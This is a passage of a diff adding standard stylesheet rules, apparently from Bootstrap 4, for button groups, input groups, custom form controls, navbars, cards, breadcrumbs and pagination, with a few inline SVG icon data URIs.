border-bottom-left-radius: 0; +} + +.dropdown-toggle-split { + padding-right: 0.5625rem; + padding-left: 0.5625rem; +} + +.dropdown-toggle-split::after, +.dropup .dropdown-toggle-split::after, +.dropright .dropdown-toggle-split::after { + margin-left: 0; +} + +.dropleft .dropdown-toggle-split::before { + margin-right: 0; +} + +.btn-sm + .dropdown-toggle-split, .btn-group-sm > .btn + .dropdown-toggle-split { + padding-right: 0.375rem; + padding-left: 0.375rem; +} + +.btn-lg + .dropdown-toggle-split, .btn-group-lg > .btn + .dropdown-toggle-split { + padding-right: 0.75rem; + padding-left: 0.75rem; +} + +.btn-group-vertical { + -ms-flex-direction: column; + flex-direction: column; + -ms-flex-align: start; + align-items: flex-start; + -ms-flex-pack: center; + justify-content: center; +} + +.btn-group-vertical .btn, +.btn-group-vertical .btn-group { + width: 100%; +} + +.btn-group-vertical > .btn + .btn, +.btn-group-vertical > .btn + .btn-group, +.btn-group-vertical > .btn-group + .btn, +.btn-group-vertical > .btn-group + .btn-group { + margin-top: -1px; + margin-left: 0; +} + +.btn-group-vertical > .btn:not(:last-child):not(.dropdown-toggle), +.btn-group-vertical > .btn-group:not(:last-child) > .btn { + border-bottom-right-radius: 0; + border-bottom-left-radius: 0; +} + +.btn-group-vertical > .btn:not(:first-child), +.btn-group-vertical > .btn-group:not(:first-child) > .btn { + border-top-left-radius: 0; + border-top-right-radius: 0; +} + +.btn-group-toggle > .btn, +.btn-group-toggle > .btn-group > .btn { + margin-bottom: 0; +} + +.btn-group-toggle > .btn input[type="radio"], +.btn-group-toggle > .btn input[type="checkbox"], +.btn-group-toggle > .btn-group > .btn input[type="radio"], +.btn-group-toggle > .btn-group > .btn input[type="checkbox"] { + position: absolute; + clip: rect(0, 0, 0, 0); + pointer-events: none; +} + +.input-group { + position: relative; + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + -ms-flex-align: stretch; + align-items: stretch; + width: 100%; +} + +.input-group > .form-control, +.input-group > .custom-select, +.input-group > .custom-file { + position: relative; + -ms-flex: 1 1 auto; + flex: 1 1 auto; + width: 1%; + margin-bottom: 0; +} + +.input-group > .form-control:focus, +.input-group > .custom-select:focus, +.input-group > .custom-file:focus { + z-index: 3; +} + +.input-group > .form-control + .form-control, +.input-group > .form-control + .custom-select, +.input-group > .form-control + .custom-file, +.input-group > .custom-select + .form-control, +.input-group > .custom-select + .custom-select, +.input-group > .custom-select + .custom-file, +.input-group > .custom-file + .form-control, +.input-group > .custom-file + .custom-select, +.input-group > .custom-file + .custom-file { + margin-left: -1px; +} + +.input-group > .form-control:not(:last-child), +.input-group > .custom-select:not(:last-child) { + border-top-right-radius: 0; + border-bottom-right-radius: 0; +} + +.input-group > .form-control:not(:first-child), +.input-group > .custom-select:not(:first-child) { + border-top-left-radius: 0; + border-bottom-left-radius: 0; +} + +.input-group > .custom-file { + display: -ms-flexbox; + display: flex; + -ms-flex-align: center; + align-items: center; +} + +.input-group > .custom-file:not(:last-child) .custom-file-label, +.input-group > .custom-file:not(:last-child) .custom-file-label::after { + border-top-right-radius: 0; + border-bottom-right-radius: 0; +} + +.input-group > .custom-file:not(:first-child) .custom-file-label, +.input-group > .custom-file:not(:first-child) .custom-file-label::after { + border-top-left-radius: 0; + border-bottom-left-radius: 0; +} + +.input-group-prepend, +.input-group-append { + display: -ms-flexbox; + display: flex; +} + +.input-group-prepend .btn, +.input-group-append .btn { + position: relative; + z-index: 2; +} + +.input-group-prepend .btn + .btn, +.input-group-prepend .btn + .input-group-text, +.input-group-prepend .input-group-text + .input-group-text, +.input-group-prepend .input-group-text + .btn, +.input-group-append .btn + .btn, +.input-group-append .btn + .input-group-text, +.input-group-append .input-group-text + .input-group-text, +.input-group-append .input-group-text + .btn { + margin-left: -1px; +} + +.input-group-prepend { + margin-right: -1px; +} + +.input-group-append { + margin-left: -1px; +} + +.input-group-text { + display: -ms-flexbox; + display: flex; + -ms-flex-align: center; + align-items: center; + padding: 0.375rem 0.75rem; + margin-bottom: 0; + font-size: 1rem; + font-weight: 400; + line-height: 1.5; + color: #495057; + text-align: center; + white-space: nowrap; + background-color: #e9ecef; + border: 1px solid #ced4da; + border-radius: 0.25rem; +} + +.input-group-text input[type="radio"], +.input-group-text input[type="checkbox"] { + margin-top: 0; +} + +.input-group > .input-group-prepend > .btn, +.input-group > .input-group-prepend > .input-group-text, +.input-group > .input-group-append:not(:last-child) > .btn, +.input-group > .input-group-append:not(:last-child) > .input-group-text, +.input-group > .input-group-append:last-child > .btn:not(:last-child):not(.dropdown-toggle), +.input-group > .input-group-append:last-child > .input-group-text:not(:last-child) { + border-top-right-radius: 0; + border-bottom-right-radius: 0; +} + +.input-group > .input-group-append > .btn, +.input-group > .input-group-append > .input-group-text, +.input-group > .input-group-prepend:not(:first-child) > .btn, +.input-group > .input-group-prepend:not(:first-child) > .input-group-text, +.input-group > .input-group-prepend:first-child > .btn:not(:first-child), +.input-group > .input-group-prepend:first-child > .input-group-text:not(:first-child) { + border-top-left-radius: 0; + border-bottom-left-radius: 0; +} + +.custom-control { + position: relative; + display: block; + min-height: 1.5rem; + padding-left: 1.5rem; +} + +.custom-control-inline { + display: -ms-inline-flexbox; + display: inline-flex; + margin-right: 1rem; +} + +.custom-control-input { + position: absolute; + z-index: -1; + opacity: 0; +} + +.custom-control-input:checked ~ .custom-control-label::before { + color: #fff; + background-color: #007bff; +} + +.custom-control-input:focus ~ .custom-control-label::before { + box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25); +} + +.custom-control-input:active ~ .custom-control-label::before { + color: #fff; + background-color: #b3d7ff; +} + +.custom-control-input:disabled ~ .custom-control-label { + color: #6c757d; +} + +.custom-control-input:disabled ~ .custom-control-label::before { + background-color: #e9ecef; +} + +.custom-control-label { + margin-bottom: 0; +} + +.custom-control-label::before { + position: absolute; + top: 0.25rem; + left: 0; + display: block; + width: 1rem; + height: 1rem; + pointer-events: none; + content: ""; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; + background-color: #dee2e6; +} + +.custom-control-label::after { + position: absolute; + top: 0.25rem; + left: 0; + display: block; + width: 1rem; + height: 1rem; + content: ""; + background-repeat: no-repeat; + background-position: center center; + background-size: 50% 50%; +} + +.custom-checkbox .custom-control-label::before { + border-radius: 0.25rem; +} + +.custom-checkbox .custom-control-input:checked ~ .custom-control-label::before { + background-color: #007bff; +} + +.custom-checkbox .custom-control-input:checked ~ .custom-control-label::after { + background-image: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3E%3Cpath fill='%23fff' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z'/%3E%3C/svg%3E"); +} + +.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-label::before { + background-color: #007bff; +} + +.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-label::after { + background-image: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 4'%3E%3Cpath stroke='%23fff' d='M0 2h4'/%3E%3C/svg%3E"); +} + +.custom-checkbox .custom-control-input:disabled:checked ~ .custom-control-label::before { + background-color: rgba(0, 123, 255, 0.5); +} + +.custom-checkbox .custom-control-input:disabled:indeterminate ~ .custom-control-label::before { + background-color: rgba(0, 123, 255, 0.5); +} + +.custom-radio .custom-control-label::before { + border-radius: 50%; +} + +.custom-radio .custom-control-input:checked ~ .custom-control-label::before { + background-color: #007bff; +} + +.custom-radio .custom-control-input:checked ~ .custom-control-label::after { + background-image: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3E%3Ccircle r='3' fill='%23fff'/%3E%3C/svg%3E"); +} + +.custom-radio .custom-control-input:disabled:checked ~ .custom-control-label::before { + background-color: rgba(0, 123, 255, 0.5); +} + +.custom-select { + display: inline-block; + width: 100%; + height: calc(2.25rem + 2px); + padding: 0.375rem 1.75rem 0.375rem 0.75rem; + line-height: 1.5; + color: #495057; + vertical-align: middle; + background: #fff url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3E%3Cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3E%3C/svg%3E") no-repeat right 0.75rem center; + background-size: 8px 10px; + border: 1px solid #ced4da; + border-radius: 0.25rem; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; +} + +.custom-select:focus { + border-color: #80bdff; + outline: 0; + box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.075), 0 0 5px rgba(128, 189, 255, 0.5); +} + +.custom-select:focus::-ms-value { + color: #495057; + background-color: #fff; +} + +.custom-select[multiple], .custom-select[size]:not([size="1"]) { + height: auto; + padding-right: 0.75rem; + background-image: none; +} + +.custom-select:disabled { + color: #6c757d; + background-color: #e9ecef; +} + +.custom-select::-ms-expand { + opacity: 0; +} + +.custom-select-sm { + height: calc(1.8125rem + 2px); + padding-top: 0.375rem; + padding-bottom: 0.375rem; + font-size: 75%; +} + +.custom-select-lg { + height: calc(2.875rem + 2px); + padding-top: 0.375rem; + padding-bottom: 0.375rem; + font-size: 125%; +} + +.custom-file { + position: relative; + display: inline-block; + width: 100%; + height: calc(2.25rem + 2px); + margin-bottom: 0; +} + +.custom-file-input { + position: relative; + z-index: 2; + width: 100%; + height: calc(2.25rem + 2px); + margin: 0; + opacity: 0; +} + +.custom-file-input:focus ~ .custom-file-label { + border-color: #80bdff; + box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25); +} + +.custom-file-input:focus ~ .custom-file-label::after { + border-color: #80bdff; +} + +.custom-file-input:lang(en) ~ .custom-file-label::after { + content: "Browse"; +} + +.custom-file-label { + position: absolute; + top: 0; + right: 0; + left: 0; + z-index: 1; + height: calc(2.25rem + 2px); + padding: 0.375rem 0.75rem; + line-height: 1.5; + color: #495057; + background-color: #fff; + border: 1px solid #ced4da; + border-radius: 0.25rem; +} + +.custom-file-label::after { + position: absolute; + top: 0; + right: 0; + bottom: 0; + z-index: 3; + display: block; + height: calc(calc(2.25rem + 2px) - 1px * 2); + padding: 0.375rem 0.75rem; + line-height: 1.5; + color: #495057; + content: "Browse"; + background-color: #e9ecef; + border-left: 1px solid #ced4da; + border-radius: 0 0.25rem 0.25rem 0; +} + +.custom-range { + width: 100%; + padding-left: 0; + background-color: transparent; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; +} + +.custom-range:focus { + outline: none; +} + +.custom-range::-moz-focus-outer { + border: 0; +} + +.custom-range::-webkit-slider-thumb { + width: 1rem; + height: 1rem; + margin-top: -0.25rem; + background-color: #007bff; + border: 0; + border-radius: 1rem; + -webkit-appearance: none; + appearance: none; +} + +.custom-range::-webkit-slider-thumb:focus { + outline: none; + box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25); +} + +.custom-range::-webkit-slider-thumb:active { + background-color: #b3d7ff; +} + +.custom-range::-webkit-slider-runnable-track { + width: 100%; + height: 0.5rem; + color: transparent; + cursor: pointer; + background-color: #dee2e6; + border-color: transparent; + border-radius: 1rem; +} + +.custom-range::-moz-range-thumb { + width: 1rem; + height: 1rem; + background-color: #007bff; + border: 0; + border-radius: 1rem; + -moz-appearance: none; + appearance: none; +} + +.custom-range::-moz-range-thumb:focus { + outline: none; + box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25); +} + +.custom-range::-moz-range-thumb:active { + background-color: #b3d7ff; +} + +.custom-range::-moz-range-track { + width: 100%; + height: 0.5rem; + color: transparent; + cursor: pointer; + background-color: #dee2e6; + border-color: transparent; + border-radius: 1rem; +} + +.custom-range::-ms-thumb { + width: 1rem; + height: 1rem; + background-color: #007bff; + border: 0; + border-radius: 1rem; + appearance: none; +} + +.custom-range::-ms-thumb:focus { + outline: none; + box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25); +} + +.custom-range::-ms-thumb:active { + background-color: #b3d7ff; +} + +.custom-range::-ms-track { + width: 100%; + height: 0.5rem; + color: transparent; + cursor: pointer; + background-color: transparent; + border-color: transparent; + border-width: 0.5rem; +} + +.custom-range::-ms-fill-lower { + background-color: #dee2e6; + border-radius: 1rem; +} + +.custom-range::-ms-fill-upper { + margin-right: 15px; + background-color: #dee2e6; + border-radius: 1rem; +} + +.nav { + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + padding-left: 0; + margin-bottom: 0; + list-style: none; +} + +.nav-link { + display: block; + padding: 0.5rem 1rem; +} + +.nav-link:hover, .nav-link:focus { + text-decoration: none; +} + +.nav-link.disabled { + color: #6c757d; +} + +.nav-tabs { + border-bottom: 1px solid #dee2e6; +} + +.nav-tabs .nav-item { + margin-bottom: -1px; +} + +.nav-tabs .nav-link { + border: 1px solid transparent; + border-top-left-radius: 0.25rem; + border-top-right-radius: 0.25rem; +} + +.nav-tabs .nav-link:hover, .nav-tabs .nav-link:focus { + border-color: #e9ecef #e9ecef #dee2e6; +} + +.nav-tabs .nav-link.disabled { + color: #6c757d; + background-color: transparent; + border-color: transparent; +} + +.nav-tabs .nav-link.active, +.nav-tabs .nav-item.show .nav-link { + color: #495057; + background-color: #fff; + border-color: #dee2e6 #dee2e6 #fff; +} + +.nav-tabs .dropdown-menu { + margin-top: -1px; + border-top-left-radius: 0; + border-top-right-radius: 0; +} + +.nav-pills .nav-link { + border-radius: 0.25rem; +} + +.nav-pills .nav-link.active, +.nav-pills .show > .nav-link { + color: #fff; + background-color: #007bff; +} + +.nav-fill .nav-item { + -ms-flex: 1 1 auto; + flex: 1 1 auto; + text-align: center; +} + +.nav-justified .nav-item { + -ms-flex-preferred-size: 0; + flex-basis: 0; + -ms-flex-positive: 1; + flex-grow: 1; + text-align: center; +} + +.tab-content > .tab-pane { + display: none; +} + +.tab-content > .active { + display: block; +} + +.navbar { + position: relative; + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + -ms-flex-align: center; + align-items: center; + -ms-flex-pack: justify; + justify-content: space-between; + padding: 0.5rem 1rem; +} + +.navbar > .container, +.navbar > .container-fluid { + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + -ms-flex-align: center; + align-items: center; + -ms-flex-pack: justify; + justify-content: space-between; +} + +.navbar-brand { + display: inline-block; + padding-top: 0.3125rem; + padding-bottom: 0.3125rem; + margin-right: 1rem; + font-size: 1.25rem; + line-height: inherit; + white-space: nowrap; +} + +.navbar-brand:hover, .navbar-brand:focus { + text-decoration: none; +} + +.navbar-nav { + display: -ms-flexbox; + display: flex; + -ms-flex-direction: column; + flex-direction: column; + padding-left: 0; + margin-bottom: 0; + list-style: none; +} + +.navbar-nav .nav-link { + padding-right: 0; + padding-left: 0; +} + +.navbar-nav .dropdown-menu { + position: static; + float: none; +} + +.navbar-text { + display: inline-block; + padding-top: 0.5rem; + padding-bottom: 0.5rem; +} + +.navbar-collapse { + -ms-flex-preferred-size: 100%; + flex-basis: 100%; + -ms-flex-positive: 1; + flex-grow: 1; + -ms-flex-align: center; + align-items: center; +} + +.navbar-toggler { + padding: 0.25rem 0.75rem; + font-size: 1.25rem; + line-height: 1; + background-color: transparent; + border: 1px solid transparent; + border-radius: 0.25rem; +} + +.navbar-toggler:hover, .navbar-toggler:focus { + text-decoration: none; +} + +.navbar-toggler:not(:disabled):not(.disabled) { + cursor: pointer; +} + +.navbar-toggler-icon { + display: inline-block; + width: 1.5em; + height: 1.5em; + vertical-align: middle; + content: ""; + background: no-repeat center center; + background-size: 100% 100%; +} + +@media (max-width: 575.98px) { + .navbar-expand-sm > .container, + .navbar-expand-sm > .container-fluid { + padding-right: 0; + padding-left: 0; + } +} + +@media (min-width: 576px) { + .navbar-expand-sm { + -ms-flex-flow: row nowrap; + flex-flow: row nowrap; + -ms-flex-pack: start; + justify-content: flex-start; + } + .navbar-expand-sm .navbar-nav { + -ms-flex-direction: row; + flex-direction: row; + } + .navbar-expand-sm .navbar-nav .dropdown-menu { + position: absolute; + } + .navbar-expand-sm .navbar-nav .nav-link { + padding-right: 0.5rem; + padding-left: 0.5rem; + } + .navbar-expand-sm > .container, + .navbar-expand-sm > .container-fluid { + -ms-flex-wrap: nowrap; + flex-wrap: nowrap; + } + .navbar-expand-sm .navbar-collapse { + display: -ms-flexbox !important; + display: flex !important; + -ms-flex-preferred-size: auto; + flex-basis: auto; + } + .navbar-expand-sm .navbar-toggler { + display: none; + } +} + +@media (max-width: 767.98px) { + .navbar-expand-md > .container, + .navbar-expand-md > .container-fluid { + padding-right: 0; + padding-left: 0; + } +} + +@media (min-width: 768px) { + .navbar-expand-md { + -ms-flex-flow: row nowrap; + flex-flow: row nowrap; + -ms-flex-pack: start; + justify-content: flex-start; + } + .navbar-expand-md .navbar-nav { + -ms-flex-direction: row; + flex-direction: row; + } + .navbar-expand-md .navbar-nav .dropdown-menu { + position: absolute; + } + .navbar-expand-md .navbar-nav .nav-link { + padding-right: 0.5rem; + padding-left: 0.5rem; + } + .navbar-expand-md > .container, + .navbar-expand-md > .container-fluid { + -ms-flex-wrap: nowrap; + flex-wrap: nowrap; + } + .navbar-expand-md .navbar-collapse { + display: -ms-flexbox !important; + display: flex !important; + -ms-flex-preferred-size: auto; + flex-basis: auto; + } + .navbar-expand-md .navbar-toggler { + display: none; + } +} + +@media (max-width: 991.98px) { + .navbar-expand-lg > .container, + .navbar-expand-lg > .container-fluid { + padding-right: 0; + padding-left: 0; + } +} + +@media (min-width: 992px) { + .navbar-expand-lg { + -ms-flex-flow: row nowrap; + flex-flow: row nowrap; + -ms-flex-pack: start; + justify-content: flex-start; + } + .navbar-expand-lg .navbar-nav { + -ms-flex-direction: row; + flex-direction: row; + } + .navbar-expand-lg .navbar-nav .dropdown-menu { + position: absolute; + } + .navbar-expand-lg .navbar-nav .nav-link { + padding-right: 0.5rem; + padding-left: 0.5rem; + } + .navbar-expand-lg > .container, + .navbar-expand-lg > .container-fluid { + -ms-flex-wrap: nowrap; + flex-wrap: nowrap; + } + .navbar-expand-lg .navbar-collapse { + display: -ms-flexbox !important; + display: flex !important; + -ms-flex-preferred-size: auto; + flex-basis: auto; + } + .navbar-expand-lg .navbar-toggler { + display: none; + } +} + +@media (max-width: 1199.98px) { + .navbar-expand-xl > .container, + .navbar-expand-xl > .container-fluid { + padding-right: 0; + padding-left: 0; + } +} + +@media (min-width: 1200px) { + .navbar-expand-xl { + -ms-flex-flow: row nowrap; + flex-flow: row nowrap; + -ms-flex-pack: start; + justify-content: flex-start; + } + .navbar-expand-xl .navbar-nav { + -ms-flex-direction: row; + flex-direction: row; + } + .navbar-expand-xl .navbar-nav .dropdown-menu { + position: absolute; + } + .navbar-expand-xl .navbar-nav .nav-link { + padding-right: 0.5rem; + padding-left: 0.5rem; + } + .navbar-expand-xl > .container, + .navbar-expand-xl > .container-fluid { + -ms-flex-wrap: nowrap; + flex-wrap: nowrap; + } + .navbar-expand-xl .navbar-collapse { + display: -ms-flexbox !important; + display: flex !important; + -ms-flex-preferred-size: auto; + flex-basis: auto; + } + .navbar-expand-xl .navbar-toggler { + display: none; + } +} + +.navbar-expand { + -ms-flex-flow: row nowrap; + flex-flow: row nowrap; + -ms-flex-pack: start; + justify-content: flex-start; +} + +.navbar-expand > .container, +.navbar-expand > .container-fluid { + padding-right: 0; + padding-left: 0; +} + +.navbar-expand .navbar-nav { + -ms-flex-direction: row; + flex-direction: row; +} + +.navbar-expand .navbar-nav .dropdown-menu { + position: absolute; +} + +.navbar-expand .navbar-nav .nav-link { + padding-right: 0.5rem; + padding-left: 0.5rem; +} + +.navbar-expand > .container, +.navbar-expand > .container-fluid { + -ms-flex-wrap: nowrap; + flex-wrap: nowrap; +} + +.navbar-expand .navbar-collapse { + display: -ms-flexbox !important; + display: flex !important; + -ms-flex-preferred-size: auto; + flex-basis: auto; +} + +.navbar-expand .navbar-toggler { + display: none; +} + +.navbar-light .navbar-brand { + color: rgba(0, 0, 0, 0.9); +} + +.navbar-light .navbar-brand:hover, .navbar-light .navbar-brand:focus { + color: rgba(0, 0, 0, 0.9); +} + +.navbar-light .navbar-nav .nav-link { + color: rgba(0, 0, 0, 0.5); +} + +.navbar-light .navbar-nav .nav-link:hover, .navbar-light .navbar-nav .nav-link:focus { + color: rgba(0, 0, 0, 0.7); +} + +.navbar-light .navbar-nav .nav-link.disabled { + color: rgba(0, 0, 0, 0.3); +} + +.navbar-light .navbar-nav .show > .nav-link, +.navbar-light .navbar-nav .active > .nav-link, +.navbar-light .navbar-nav .nav-link.show, +.navbar-light .navbar-nav .nav-link.active { + color: rgba(0, 0, 0, 0.9); +} + +.navbar-light .navbar-toggler { + color: rgba(0, 0, 0, 0.5); + border-color: rgba(0, 0, 0, 0.1); +} + +.navbar-light .navbar-toggler-icon { + background-image: url("data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(0, 0, 0, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E"); +} + +.navbar-light .navbar-text { + color: rgba(0, 0, 0, 0.5); +} + +.navbar-light .navbar-text a { + color: rgba(0, 0, 0, 0.9); +} + +.navbar-light .navbar-text a:hover, .navbar-light .navbar-text a:focus { + color: rgba(0, 0, 0, 0.9); +} + +.navbar-dark .navbar-brand { + color: #fff; +} + +.navbar-dark .navbar-brand:hover, .navbar-dark .navbar-brand:focus { + color: #fff; +} + +.navbar-dark .navbar-nav .nav-link { + color: rgba(255, 255, 255, 0.5); +} + +.navbar-dark .navbar-nav .nav-link:hover, .navbar-dark .navbar-nav .nav-link:focus { + color: rgba(255, 255, 255, 0.75); +} + +.navbar-dark .navbar-nav .nav-link.disabled { + color: rgba(255, 255, 255, 0.25); +} + +.navbar-dark .navbar-nav .show > .nav-link, +.navbar-dark .navbar-nav .active > .nav-link, +.navbar-dark .navbar-nav .nav-link.show, +.navbar-dark .navbar-nav .nav-link.active { + color: #fff; +} + +.navbar-dark .navbar-toggler { + color: rgba(255, 255, 255, 0.5); + border-color: rgba(255, 255, 255, 0.1); +} + +.navbar-dark .navbar-toggler-icon { + background-image: url("data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(255, 255, 255, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E"); +} + +.navbar-dark .navbar-text { + color: rgba(255, 255, 255, 0.5); +} + +.navbar-dark .navbar-text a { + color: #fff; +} + +.navbar-dark .navbar-text a:hover, .navbar-dark .navbar-text a:focus { + color: #fff; +} + +.card { + position: relative; + display: -ms-flexbox; + display: flex; + -ms-flex-direction: column; + flex-direction: column; + min-width: 0; + word-wrap: break-word; + background-color: #fff; + background-clip: border-box; + border: 1px solid rgba(0, 0, 0, 0.125); + border-radius: 0.25rem; +} + +.card > hr { + margin-right: 0; + margin-left: 0; +} + +.card > .list-group:first-child .list-group-item:first-child { + border-top-left-radius: 0.25rem; + border-top-right-radius: 0.25rem; +} + +.card > .list-group:last-child .list-group-item:last-child { + border-bottom-right-radius: 0.25rem; + border-bottom-left-radius: 0.25rem; +} + +.card-body { + -ms-flex: 1 1 auto; + flex: 1 1 auto; + padding: 1.25rem; +} + +.card-title { + margin-bottom: 0.75rem; +} + +.card-subtitle { + margin-top: -0.375rem; + margin-bottom: 0; +} + +.card-text:last-child { + margin-bottom: 0; +} + +.card-link:hover { + text-decoration: none; +} + +.card-link + .card-link { + margin-left: 1.25rem; +} + +.card-header { + padding: 0.75rem 1.25rem; + margin-bottom: 0; + background-color: rgba(0, 0, 0, 0.03); + border-bottom: 1px solid rgba(0, 0, 0, 0.125); +} + +.card-header:first-child { + border-radius: calc(0.25rem - 1px) calc(0.25rem - 1px) 0 0; +} + +.card-header + .list-group .list-group-item:first-child { + border-top: 0; +} + +.card-footer { + padding: 0.75rem 1.25rem; + background-color: rgba(0, 0, 0, 0.03); + border-top: 1px solid rgba(0, 0, 0, 0.125); +} + +.card-footer:last-child { + border-radius: 0 0 calc(0.25rem - 1px) calc(0.25rem - 1px); +} + +.card-header-tabs { + margin-right: -0.625rem; + margin-bottom: -0.75rem; + margin-left: -0.625rem; + border-bottom: 0; +} + +.card-header-pills { + margin-right: -0.625rem; + margin-left: -0.625rem; +} + +.card-img-overlay { + position: absolute; + top: 0; + right: 0; + bottom: 0; + left: 0; + padding: 1.25rem; +} + +.card-img { + width: 100%; + border-radius: calc(0.25rem - 1px); +} + +.card-img-top { + width: 100%; + border-top-left-radius: calc(0.25rem - 1px); + border-top-right-radius: calc(0.25rem - 1px); +} + +.card-img-bottom { + width: 100%; + border-bottom-right-radius: calc(0.25rem - 1px); + border-bottom-left-radius: calc(0.25rem - 1px); +} + +.card-deck { + display: -ms-flexbox; + display: flex; + -ms-flex-direction: column; + flex-direction: column; +} + +.card-deck .card { + margin-bottom: 15px; +} + +@media (min-width: 576px) { + .card-deck { + -ms-flex-flow: row wrap; + flex-flow: row wrap; + margin-right: -15px; + margin-left: -15px; + } + .card-deck .card { + display: -ms-flexbox; + display: flex; + -ms-flex: 1 0 0%; + flex: 1 0 0%; + -ms-flex-direction: column; + flex-direction: column; + margin-right: 15px; + margin-bottom: 0; + margin-left: 15px; + } +} + +.card-group { + display: -ms-flexbox; + display: flex; + -ms-flex-direction: column; + flex-direction: column; +} + +.card-group > .card { + margin-bottom: 15px; +} + +@media (min-width: 576px) { + .card-group { + -ms-flex-flow: row wrap; + flex-flow: row wrap; + } + .card-group > .card { + -ms-flex: 1 0 0%; + flex: 1 0 0%; + margin-bottom: 0; + } + .card-group > .card + .card { + margin-left: 0; + border-left: 0; + } + .card-group > .card:first-child { + border-top-right-radius: 0; + border-bottom-right-radius: 0; + } + .card-group > .card:first-child .card-img-top, + .card-group > .card:first-child .card-header { + border-top-right-radius: 0; + } + .card-group > .card:first-child .card-img-bottom, + .card-group > .card:first-child .card-footer { + border-bottom-right-radius: 0; + } + .card-group > .card:last-child { + border-top-left-radius: 0; + border-bottom-left-radius: 0; + } + .card-group > .card:last-child .card-img-top, + .card-group > .card:last-child .card-header { + border-top-left-radius: 0; + } + .card-group > .card:last-child .card-img-bottom, + .card-group > .card:last-child .card-footer { + border-bottom-left-radius: 0; + } + .card-group > .card:only-child { + border-radius: 0.25rem; + } + .card-group > .card:only-child .card-img-top, + .card-group > .card:only-child .card-header { + border-top-left-radius: 0.25rem; + border-top-right-radius: 0.25rem; + } + .card-group > .card:only-child .card-img-bottom, + .card-group > .card:only-child .card-footer { + border-bottom-right-radius: 0.25rem; + border-bottom-left-radius: 0.25rem; + } + .card-group > .card:not(:first-child):not(:last-child):not(:only-child) { + border-radius: 0; + } + .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-img-top, + .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-img-bottom, + .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-header, + .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-footer { + border-radius: 0; + } +} + +.card-columns .card { + margin-bottom: 0.75rem; +} + +@media (min-width: 576px) { + .card-columns { + -webkit-column-count: 3; + -moz-column-count: 3; + column-count: 3; + -webkit-column-gap: 1.25rem; + -moz-column-gap: 1.25rem; + column-gap: 1.25rem; + orphans: 1; + widows: 1; + } + .card-columns .card { + display: inline-block; + width: 100%; + } +} + +.accordion .card:not(:first-of-type):not(:last-of-type) { + border-bottom: 0; + border-radius: 0; +} + +.accordion .card:not(:first-of-type) .card-header:first-child { + border-radius: 0; +} + +.accordion .card:first-of-type { + border-bottom: 0; + border-bottom-right-radius: 0; + border-bottom-left-radius: 0; +} + +.accordion .card:last-of-type { + border-top-left-radius: 0; + border-top-right-radius: 0; +} + +.breadcrumb { + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + padding: 0.75rem 1rem; + margin-bottom: 1rem; + list-style: none; + background-color: #e9ecef; + border-radius: 0.25rem; +} + +.breadcrumb-item + .breadcrumb-item { + padding-left: 0.5rem; +} + +.breadcrumb-item + .breadcrumb-item::before { + display: inline-block; + padding-right: 0.5rem; + color: #6c757d; + content: "/"; +} + +.breadcrumb-item + .breadcrumb-item:hover::before { + text-decoration: underline; +} + +.breadcrumb-item + .breadcrumb-item:hover::before { + text-decoration: none; +} + +.breadcrumb-item.active { + color: #6c757d; +} + +.pagination { + display: -ms-flexbox; + display: flex; + padding-left: 0; + list-style: none; + border-radius: 0.25rem; +} + +.page-link { + position: relative; + display: block; + padding: 0.5rem 0.75rem; + margin-left: -1px; + line-height: 1.25; + color: #007bff; + background-color: #fff; + border: 1px solid #dee2e6; +} + +.page-link:hover { + z-index: 2; + color: #0056b3; + text-decoration: none; + background-color: #e9ecef; + border-color: #dee2e6; +} + +.page-link:focus { + z-index: 2; + outline: 0; + box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25); +} + +.page-link:not(:disabled):not(.disabled) { + cursor: pointer; +} + +.page-item:first-child .page-link { + margin-left: 0; + border-top-left-radius: 0.25rem; + border-bottom-left-radius: 0.25rem; +} + +.page-item:last-child .page-link { + border-top-right-radius: 0.25rem; + border-bottom-right-radius: 0.25rem; +} + +.page-item.active .page-link { + z-index: 1; + color: #fff; + background-color: #007bff; + border-color: #007bff; +} + +.page-item.disabled .page-link { + color: #6c757d; + pointer-events: none; + 